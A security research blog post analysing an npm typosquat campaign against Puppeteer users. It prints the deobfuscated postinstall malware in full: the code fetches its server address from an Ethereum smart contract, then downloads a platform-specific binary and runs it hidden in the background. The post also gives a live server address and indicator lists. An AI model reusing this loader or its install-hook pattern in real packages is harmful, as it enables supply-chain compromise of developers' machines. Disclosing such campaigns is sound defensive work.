Ghosts and goblins abound on Halloween. Nowhere is this more true than throughout open source package registries, where specters lurk around every package install. On the eve of October 31, 2024, our automated detection platform surfaced several packages of interest. As this campaign began to unfold in earnest, it became clear that this attacker was in the early stages of a typosquat campaign targeting developers intending to use the popular Puppeteer library.
Overview
We often see attackers begin campaigns with several test publications. This appears to be the case here as well, with the first package publication to npm titled daun124wdsa8
This package contained the following package.json
with a postinstall hook that executes the clzypp8j.js
file.
{
“name”: “daun124wdsa8”,
“version”: “23.6.1”,
“description”: “A high-level API to control headless Chrome over the DevTools Protocol”,
“keywords”: [
“puppeteer”,
“chrome”,
“headless”,
“automation”
],
…
“scripts”: {
“postinstall”: “node clzypp8j.js”
},
…
}
The attacker clearly intended to execute something during package installation. However, the file in question was not included in the package. An apparent oversight by the malicious package author.
They quickly followed up with two additional publications, zalfausi8
and zalf22ausi8
.
Both of these packages contained the following obfuscated Javascript, which was executed during package installation.
Walking through the deobfuscated code, we see the typical malware behaviors: constructing download URLs, fetching remote executables, and surreptitiously running them on the target machine.
What stands out is the fact that the IP address the executables are fetched from are nowhere to be found in the actual source. So how does the execution know where to send the request? Let’s take a look at the code in more detail.
const {ethers} = require(“ethers”);
const axios = require(“axios”);
const fs = require(‘fs’);
const path = require(‘path’);
const os = require(‘os’);
const {spawn} = require(‘child_process’);
const abi = [“function getString(address account) public view returns (string)”];
const provider = ethers.getDefaultProvider(“mainnet”);
const contract = new ethers.Contract(‘0xa1b40044EBc2794f207D45143Bd82a1B86156c6b’, abi, provider);
const fetchAndUpdateIp = async () => {
try {
const ipAddrFromContract = await contract.getString(“0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84”);
return ipAddrFromContract;
} catch (error) {
// Russian for “Error getting IP address:”
console.error(“Ошибка при получении IP адреса:”, error);
return await fetchAndUpdateIp();
}
};
//… Clipped for brevity
This code interacts with an Ethereum smart contract using the ethers.js
library to fetch a string, in this case an IP address, associated with a specific contract address on the Ethereum mainnet. Let’s look at this line by line.
Define the ABI
const abi = [“function getString(address account) public view returns (string)”];
This line specifies the ABI (Application Binary Interface) for the getString
function in the smart contract. The ABI acts as a bridge, allowing JavaScript to understand and interact with the contract’s functions. Here, getString
is a view function that takes an Ethereum address as an argument and returns a string.
Set up the provider
const provider = ethers.getDefaultProvider(“mainnet”);
This sets up a provider connected to the Ethereum mainnet, enabling the code to communicate with the blockchain. The getDefaultProvider
function connects to a decentralized Ethereum node to facilitate read-only operations on the network.
Create a contract instance
const contract = new ethers.Contract(‘0xa1b40044EBc2794f207D45143Bd82a1B86156c6b’, abi, provider);
Using the contract’s address (0xa1b40044EBc2794f207D45143Bd82a1B86156c6b
), ABI, and provider, this line creates an instance of the contract, enabling interaction with it. This instance is crucial for calling the contract’s functions, such as getString
.
Define the asynchronous function fetchAndUpdateIp
const fetchAndUpdateIp = async () => { … };
The fetchAndUpdateIp
function fetches the string (e.g., IP address) for the given Ethereum address (0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84
). Here’s how it works:
const ipAddrFromContract = await contract.getString(“0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84”);
return ipAddrFromContract;
This line calls the getString
function on the contract, providing an Ethereum address as the argument. The function retrieves the associated string (such as an IP address) and returns it.
In this particular case, the following IP address is returned: http://193.233.201.21:3001
.
Attempting to access any non-existent files on this host, returns the following. The path botnet-server
feels particularly telling .
Putting It All Together
There are several additional functions used to construct the download URL. This ensures that a binary compatible with the given OS is retrieved from the remote server.
const getDownloadUrl = hostAddr => {
const platform = os.platform();
switch (platform) {
case ‘win32’:
return hostAddr + “/node-win.exe”;
case “linux”:
return hostAddr + “/node-linux”;
case “darwin”:
return hostAddr + “/node-macos”;
default:
throw new Error("Unsupported platform: " + platform);
}
};
The malware author additionally creates a function for executing and running the malware in the background on the target machine.
const executeFileInBackground = async path => {
try {
const proc = spawn(path, , {
‘detached’: true,
‘stdio’: “ignore”
});
proc.unref();
} catch (error) {
console.error(“Ошибка при запуске файла:”, error);
}
};
And finally, they define and execute a function that puts it all together and ultimately initiates execution.
onst runInstallation = async () => {
try {
const ipAddr = await fetchAndUpdateIp();
const downloadUrl = getDownloadUrl(ipAddr);
const tmpDir = os.tmpdir();
const filename = path.basename(downloadUrl);
const downloadPath = path.join(tmpDir, filename);
await downloadFile(downloadUrl, downloadPath);if (os.platform() !== "win32") { fs.chmodSync(downloadPath, "755"); } executeFileInBackground(downloadPath);
} catch (error) {
console.error(“Ошибка установки:”, error);
}
};
runInstallation();
Nascent Typosquat Campaign
The end goal of this entire ordeal is to trick developers into installing these packages. Towards this end, the attacker appears to be attempting to gain initial access by way of typosquat packages.
Shortly after the publication of daun124wdsa8
, zalfausi8
, and zalf22ausi8
, we saw the publication of two more malware packages: pupeter
and pupetier
.
This is clearly an attempt to typosquat packages closely named to the legitimate Puppeteer package.
The decision to publish their malware packages under the 23.6.1
version appears to not be a coincidence either, as the most recent version of Puppeteer is 23.6.1
published just a few days ago.
Following these early publications, 29 additional typosquat packages have been published. As this appears to be an ongoing campaign, we expect more malicious package publications to follow.
Conclusion
Out of necessity, malware authors have had to endeavor to find more novel ways to hide intent and to obfsucate remote servers under their control. This is, once again, a persistent reminder that supply chain attacks are alive and well. They are continually evolving, and often targeting the broad software development community with malicious software packages.
IOCs
IP Addresses
Ethereum Contracts
0xa1b40044EBc2794f207D45143Bd82a1B86156c6b
Hashes
7ac12ba9822df1f6652fd3dd67f61e026719a76a
5ded160d97657902a14ecca95acfb01c7bf957d1
2addf6ef678f9f663b00e13e3bb2fa0a37299dd0
Packages
Created | Name | Version |
---|---|---|
2024-10-31 01:46:50.000095+00 | daun124wdsa8 | 23.6.1 |
2024-10-31 02:16:53.909075+00 | zalfausi8 | 23.6.1 |
2024-10-31 02:29:20.168216+00 | zalf22ausi8 | 23.6.1 |
2024-10-31 02:41:28.361856+00 | pupeter | 23.6.1 |
2024-10-31 02:43:04.831532+00 | pupetier | 23.6.1 |
2024-10-31 03:15:32.824809+00 | pupeteerextra | 3.3.6 |
2024-10-31 03:24:03.234931+00 | puppeteerpluginstealth | 2.11.2 |
2024-10-31 03:27:59.778658+00 | puppeteer-extra-stealth | 2.11.2 |
2024-10-31 03:30:34.490894+00 | puppeteer-extra-plugin-adblokcer | 2.13.6 |
2024-10-31 03:31:47.142085+00 | pupeteer-extra-plugin-adblocker | 2.13.6 |
2024-10-31 03:36:36.16208+00 | puppeteerextraadblocker | 2.13.6 |
2024-10-31 03:41:41.28981+00 | pupeteer-cluster | 0.24.0 |
2024-10-31 03:43:27.891054+00 | puppeteercluser | 0.24.0 |
2024-10-31 03:46:06.704865+00 | puppeteer-harr | 1.1.2 |
2024-10-31 03:50:04.3878+00 | pupeteer-har | 1.1.2 |
2024-10-31 03:59:34.867868+00 | pupeteer-page-proxy | 1.3.0 |
2024-10-31 04:15:31.289511+00 | puppeteerrecordr | 1.0.7 |
2024-10-31 04:19:41.405655+00 | pupeteer-recorder | 1.0.7 |
2024-10-31 04:22:22.230746+00 | pupeteer-record | 1.0.7 |
2024-10-31 04:31:59.473073+00 | pupeteer-proxy | 1.0.3 |
2024-10-31 04:39:41.492276+00 | pupeteeerproxy | 1.0.3 |
2024-10-31 04:44:49.235879+00 | puppeteer-screencorder | 3.0.6 |
2024-10-31 04:48:14.026309+00 | pupeteer-screen-recorder | 3.0.6 |
2024-10-31 04:52:20.242089+00 | pupeteerscreenrecordr | 3.0.6 |
2024-10-31 04:55:29.753026+00 | puppeteer-req-interceptor | 3.0.1 |
2024-10-31 05:03:25.085122+00 | puppeteerrequestinterceptor | 3.0.1 |
2024-10-31 05:05:55.926169+00 | pupeteerreqintercepter | 3.0.1 |
2024-10-31 05:07:28.710611+00 | puppeteer-autoscroll | 2.0.0 |
2024-10-31 05:10:20.268088+00 | pupeteer-autoscroll-down | 2.0.0 |
2024-10-31 05:12:14.35345+00 | puppeteerscroll-down | 2.0.0 |
2024-10-31 05:18:23.571049+00 | puppeteer-firfox | 0.5.1 |
2024-10-31 05:20:50.958059+00 | pupeteer-firefox | 0.5.1 |
2024-10-31 05:23:41.002564+00 | puppeteerfox | 0.5.1 |
2024-10-31 05:26:51.023492+00 | puppeterfirefox | 0.5.1 |
2024-10-31 05:29:35.908949+00 | puppeteer-captre | 1.1.1 |
2024-10-31 05:31:47.879+00 | pupeteer-capture | 1.1.1 |
Article Link: Typosquat Campaign Targeting Puppeteer Users